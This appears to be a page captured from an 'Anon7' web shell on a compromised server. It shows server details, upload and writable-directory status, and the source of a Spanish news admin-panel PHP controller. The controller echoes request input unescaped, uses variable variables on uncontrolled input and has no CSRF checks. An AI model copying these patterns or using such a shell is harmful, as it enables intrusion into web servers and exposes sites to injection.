KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY
Server : Apache/2.4.62
System : FreeBSD fbsdweb2.web.rcn.net 14.1-RELEASE FreeBSD 14.1-RELEASE releng/14.1-n267679-10e31f0946d8 GENERIC amd64
User : www ( 80)
PHP Version : 8.3.8
Disable Function : NONE
Directory :  /domains/logicswapweb/aplicaciones/admon/noticias/fnc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /domains/logicswapweb/aplicaciones/admon/noticias/fnc/main.php
<? 
include('./../../fnc/DBConnect.php');
include('./../../fnc/componente.php');
include('./../../fnc/parametro.php');
include('./../../fnc/vinculo.php');
include('./../../fnc/aplicacion.php');
include('./../../fnc/UsuarioPanel.php');
include('./../../fnc/bitacora.php');
include('./../../fnc/panel.php');
include('./../../fnc/utileria.php');
include('./../../usuariosWeb/fnc/usuarioWeb.php');
include('noticia.php');
include('Idioma.php');

session_start('PanelAzulDigial');

$task =               (array_key_exists('tarea', $_REQUEST))  ? $_REQUEST['tarea']: NULL;
$id_not =             (array_key_exists('id_not', $_REQUEST))             ? $_REQUEST['id_not']: NULL;
$archivo = (array_key_exists('archivo', $_REQUEST))             ? $_REQUEST['archivo']: NULL;
$titulo = (array_key_exists('titulo', $_REQUEST))             ? $_REQUEST['titulo']: NULL;

$id_archivo = (array_key_exists('id_archivo', $_REQUEST))             ? $_REQUEST['id_archivo']: NULL;
$archivo_old = (array_key_exists('file', $_REQUEST))             ? $_REQUEST['file']: NULL;

$panel->setFilesPanel(4);
$panel->aplicativo->setFilesApli(4);
$panel->aplicativo->setFiles(4);

$panel->reactivarDB();

if (isset($task)) {

		if ($task) {
			switch ($task) {
			
				case "addParametro":
					if($panel->aplicativo->parametro->addParametro($nombre,$valor,$descripcion,$tipo,$tipo_usuario,14,"noticias")){
						$panel->mostrarMensaje("Parametro adicionado con exxito.");
						$panel->loadContenido("../valores_config/index.php");
					}else{
						$panel->mostrarMensaje("Error adicionando el parametro");
					}
				break;

				case "modConfig2":
					$i=0;$fallo=false;
					while($i<$cantidad){
						if($panel->usuario->tipo==2 || $panel->usuario->tipo==3 ){
							$val = "valor_".$i;
							$nom = "nombre_".$i;
							if($panel->aplicativo->parametro->modParametro("nombre", $$nom, $$val, 14, "noticias")){
								$i++;
							}else{
								$fallo =true;
								$i = 99999;
							}
						}elseif($panel->usuario->tipo==1 ){
							$val = "valor_".$i;
							$nom = "nombre_".$i;
							$des = "descripcion_".$i;
							$tip = "tipo_".$i;
							$tiu = "tipo_usuario_".$i;
							$ident = "id_".$i;
							if($panel->aplicativo->parametro->modParametroF($$ident,$$nom, $$val, $$des, $$tip, $$tiu,14, "noticias") ){
								$i++;
							}else{
								$fallo =true;
								$i = 99999;
							}
						}			
					}
					$panel->mostrarMensaje("Parametros Modificados con exito.");
					echo "<script>document.location.href='../valores_config';</script>";
				break;
				case"add_archivo":
					if($panel->aplicativo->archivos === true)
					{
						$arch = new Archivo();
						if($arch->add_archivo($id_not, $titulo, $archivo)==true)
						{
							$panel->loadContenido("../tb_noticias/listarArchivos.php?id_not=$id_not");

						}else
						{
							echo "<script>history.back();</script>";
						}
					}
				break;
				case"mod_archivo":
					if($panel->aplicativo->archivos === true)
					{
						$arch = new Archivo();
						if($arch->mod_archivo($titulo,$archivo,$archivo_old,$id_archivo,$id_pro)==true)
						{
							$panel->loadContenido("../tb_noticias/listarArchivos.php?id_not=$id_not");
		
						}else
						{
							echo "<script>history.back();</script>";
						}
					}
				break;
				
				case"eli_archivo":
					if($panel->aplicativo->archivos === true)
					{
						$arch = new Archivo();
						if($arch->eli_archivo($id_archivo)==true)
						{
							$panel->loadContenido("../tb_noticias/listarArchivos.php?id_not=$id_not");
					
						}else
						{
							echo "<script>history.back();</script>";
						}
					}
				break;
				
				
				case"add_idioma":
					$arch = new Archivo();
					if($arch->add_idioma($_REQUEST)==true)
					{
						$panel->loadContenido("../tb_noticias/listarIdiomas.php?id_not=$id_not");

					}else
					{
						echo "<script>history.back();</script>";
					}
				break;
				
				case"mod_idioma":
					$arch = new Archivo();
					if($arch->mod_idioma($_REQUEST)==true)
					{
						$panel->loadContenido("../tb_noticias/listarIdiomas.php?id_not=$id_not");

					}else
					{
						echo "<script>history.back();</script>";
					}
				break;
				
				
				default: 
					$panel->mostrarMensaje("la TAREA <<$task>> no esta definida!");
					$panel->loadContenido("../index.php?nivel=0");
			}
		}
}

?>

Anon7 - 2021